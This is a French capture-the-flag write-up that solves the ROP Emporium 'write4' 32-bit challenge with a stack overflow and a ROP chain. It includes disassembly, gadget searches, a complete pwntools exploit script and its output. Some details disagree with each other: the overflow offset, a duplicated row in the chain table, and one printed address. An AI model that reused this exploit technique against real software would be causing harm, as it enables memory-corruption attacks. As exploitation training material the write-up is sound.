Ropemporium x86_32 write4
write4
Description
Le site nous dit :
Things have been rearranged a little for this challenge; the printing logic has been moved into a separate library in an attempt to mitigate the alternate solution that is possible in the callme challenge. The stack smash also takes place in a function within that library, but don’t worry this will have no effect on your ROP chain.
Important! A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like “flag.txt”) as the 1st argument.
Decouverte
Le challenge contient trois fichiers.
-rw-r--r-- 1 1000:1000 33 flag.txt
-rwxr-xr-x 1 1000:1000 7212 libwrite432.so
-rwxr-xr-x 1 1000:1000 7252 write432
Le programme presente une faille de débordement
./write432
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Segmentation fault (core dumped)
Analyse
Le programe
La fonction main appelle la fonction pwnme qui est importée et présente dans la librairie libwrite432.so
[0x08048543]> pdf @ sym.main
; DATA XREFS from entry0 @ 0x8048416, 0x804841c
┌ 36: int main (char **argv);
│ ; arg char **argv @ esp+0x14
│ 0x08048506 8d4c2404 lea ecx, [argv]
│ 0x0804850a 83e4f0 and esp, 0xfffffff0
│ 0x0804850d ff71fc push dword [ecx - 4]
│ 0x08048510 55 push ebp
│ 0x08048511 89e5 mov ebp, esp
│ 0x08048513 51 push ecx
│ 0x08048514 83ec04 sub esp, 4
│ 0x08048517 e894feffff call sym.imp.pwnme
│ 0x0804851c b800000000 mov eax, 0
│ 0x08048521 83c404 add esp, 4
│ 0x08048524 59 pop ecx
│ 0x08048525 5d pop ebp
│ 0x08048526 8d61fc lea esp, [ecx - 4]
└ 0x08048529 c3 ret
Le programme principale contient une fonction intéressante.
[0x08048543]> pdf @sym.usefulFunction
┌ 25: sym.usefulFunction ();
│ 0x0804852a 55 push ebp
│ 0x0804852b 89e5 mov ebp, esp
│ 0x0804852d 83ec08 sub esp, 8
│ 0x08048530 83ec0c sub esp, 0xc
│ 0x08048533 68d0850408 push str.nonexistent ; 0x80485d0 ; "nonexistent"
│ 0x08048538 e893feffff call sym.imp.print_file
│ 0x0804853d 83c410 add esp, 0x10
│ 0x08048540 90 nop
│ 0x08048541 c9 leave
└ 0x08048542 c3 ret
Appelle l’adresse usefulFunction+14 : 0x08048538 permet d’appeller le fonction print_file située dans la librairie.
On peut donc obtenir le flag en appellant cette adresse avec une adresse contenant “flag.txt”.
La librairie
La fonction pwnme :
[0x000005a0]> pdf @sym.pwnme
┌ 178: sym.pwnme ();
│ ; var void *s @ ebp-0x28
│ ; var int32_t var_4h @ ebp-0x4
...
│ 0x00000724 6800020000 push 0x200
│ 0x00000729 8d45d8 lea eax, [s]
│ 0x0000072c 50 push eax
│ 0x0000072d 6a00 push 0 ; int fildes
│ 0x0000072f e8ccfdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
La lecture est réalisée à ladresse ebp-0x20 donc au après 32 caractère on va ecraser la sauvegarde de ebp puis l’adresse de retour.
Contruction de l’exploitation
Recherche d’une zone memoire inscriptible
[0x08048543]> iS
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ----
1 0x00000154 0x13 0x08048154 0x13 -r-- .interp
2 0x00000168 0x20 0x08048168 0x20 -r-- .note.ABI-tag
3 0x00000188 0x24 0x08048188 0x24 -r-- .note.gnu.build-id
4 0x000001ac 0x3c 0x080481ac 0x3c -r-- .gnu.hash
5 0x000001e8 0xb0 0x080481e8 0xb0 -r-- .dynsym
6 0x00000298 0x8b 0x08048298 0x8b -r-- .dynstr
7 0x00000324 0x16 0x08048324 0x16 -r-- .gnu.version
8 0x0000033c 0x20 0x0804833c 0x20 -r-- .gnu.version_r
9 0x0000035c 0x8 0x0804835c 0x8 -r-- .rel.dyn
10 0x00000364 0x18 0x08048364 0x18 -r-- .rel.plt
11 0x0000037c 0x23 0x0804837c 0x23 -r-x .init
12 0x000003a0 0x40 0x080483a0 0x40 -r-x .plt
13 0x000003e0 0x8 0x080483e0 0x8 -r-x .plt.got
14 0x000003f0 0x1c2 0x080483f0 0x1c2 -r-x .text
15 0x000005b4 0x14 0x080485b4 0x14 -r-x .fini
16 0x000005c8 0x14 0x080485c8 0x14 -r-- .rodata
17 0x000005dc 0x44 0x080485dc 0x44 -r-- .eh_frame_hdr
18 0x00000620 0x114 0x08048620 0x114 -r-- .eh_frame
19 0x00000efc 0x4 0x08049efc 0x4 -rw- .init_array
20 0x00000f00 0x4 0x08049f00 0x4 -rw- .fini_array
21 0x00000f04 0xf8 0x08049f04 0xf8 -rw- .dynamic
22 0x00000ffc 0x4 0x08049ffc 0x4 -rw- .got
23 0x00001000 0x18 0x0804a000 0x18 -rw- .got.plt
24 0x00001018 0x8 0x0804a018 0x8 -rw- .data
25 0x00001020 0x0 0x0804a020 0x4 -rw- .bss
26 0x00001020 0x29 0x00000000 0x29 ---- .comment
27 0x0000104c 0x440 0x00000000 0x440 ---- .symtab
28 0x0000148c 0x211 0x00000000 0x211 ---- .strtab
29 0x0000169d 0x105 0x00000000 0x105 ---- .shstrtab
On peut retenir le début de la section .data 0x0804a018 quit fait juste 8 octets avec derrièe la section .bss elle aussi inscriptible.
Recherche de gadgets
Pour ecrire a l’adresse convenue il nou faut une intruction “mov []”
ropemporium/x32/write4# ROPgadget --binary write432 --depth 4| grep "mov.*\["
0x08048543 : mov dword ptr [edi], ebp ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
On retient : 0x08048543 : mov dword ptr [edi], ebp ; ret
Pour charger edi :
ropemporium/x32/write4# ROPgadget --binary write432 --depth 4| grep "pop edi"
0x080485aa : pop edi ; pop ebp ; ret
0x080485a9 : pop esi ; pop edi ; pop ebp ; re
ah ok ! On a un gadget pour nos deux registres.
Comme nous somme sur un architecture 32 bits il faudra plusieurs operations pour ecrire “flag.txt”
La chaine de ROP
ROP entry | comment |
---|---|
0x080485aa | pop edi; pop ebp; ret |
0x0804a018 | .data pour edi |
b"flag" | pour ebp |
0x08048543 | mov dword ptr [edi], ebp ; ret |
0x080485aa | pop edi; pop ebp; ret |
0x0804a018 | .data pour edi |
b".txt" | pour ebp |
0x08048543 | mov dword ptr [edi], ebp ; ret |
0x0804a01c | .data+4 pour edi |
b".txt" | pour ebp |
0x08048543 | mov dword ptr [edi], ebp ; ret |
0x0804a020 | .data+8 pour edi |
0x00000000 | pour ebp |
0x08048543 | mov dword ptr [edi], ebp ; ret |
0x08048538 | usefulFunction+14 |
0x0804a018 | .data |
Exploitation
Script python
ropemporium/x32/write4# cat solve.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# break apres le read dans pwnme
gs='''
b *pwnme+177
c
'''
# Set up pwntools for the correct architecture
elf = ELF('write432')
context.binary=elf
# Offset avant ecrasement de l'adresse de retour
offset=0x2c
usefulFunction=elf.symbols['usefulFunction']
print_file=usefulFunction+14
g_popedi_ebp=0x080485aa
# 0x08048543 : mov dword ptr [edi], ebp ; ret
g_write = 0x08048543
# data=0x0804a018
data = elf.get_section_by_name('.data').header['sh_addr']
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
# io.recvuntil(b"> ")
PL =b"A"*offset
PL+=p32(g_popedi_ebp)
PL+=p32(data)
PL+=b'flag'
PL+=p32(g_write)
PL+=p32(g_popedi_ebp)
PL+=p32(data+4)
PL+=b'.txt'
PL+=p32(g_write)
PL+=p32(g_popedi_ebp)
PL+=p32(data+8)
PL+=p32(0)
PL+=p32(g_write)
PL+=p32(print_file)
PL+=p32(data)
# affichage du prinf correspondant pour mise au point
print("")
print(f"printf %{offset}s"+''.join([ f"\\x{c:02x}" for c in PL[offset:]])+" A")
print("")
io.sendline(PL)
io.interactive()
Execution
ropemporium/x32/write4# python3 solve.py
[*] '/w/ropemporium/x32/write4/write432'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: b'.'
[+] Starting local process '/w/ropemporium/x32/write4/write432': pid 204
printf %44s\xaa\x85\x04\x08\x18\xa0\x04\x08\x66\x6c\x61\x67\x43\x85\x04\x08\xaa\x85\x04\x08\x1c\xa0\x04\x08\x2e\x74\x78\x74\x43\x85\x04\x08\xaa\x85\x04\x08\x20\xa0\x04\x08\x00\x00\x00\x00\x43\x85\x04\x08\x36\x85\x04\x08\x18\xa0\x04\x08 A
[*] Switching to interactive mode
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive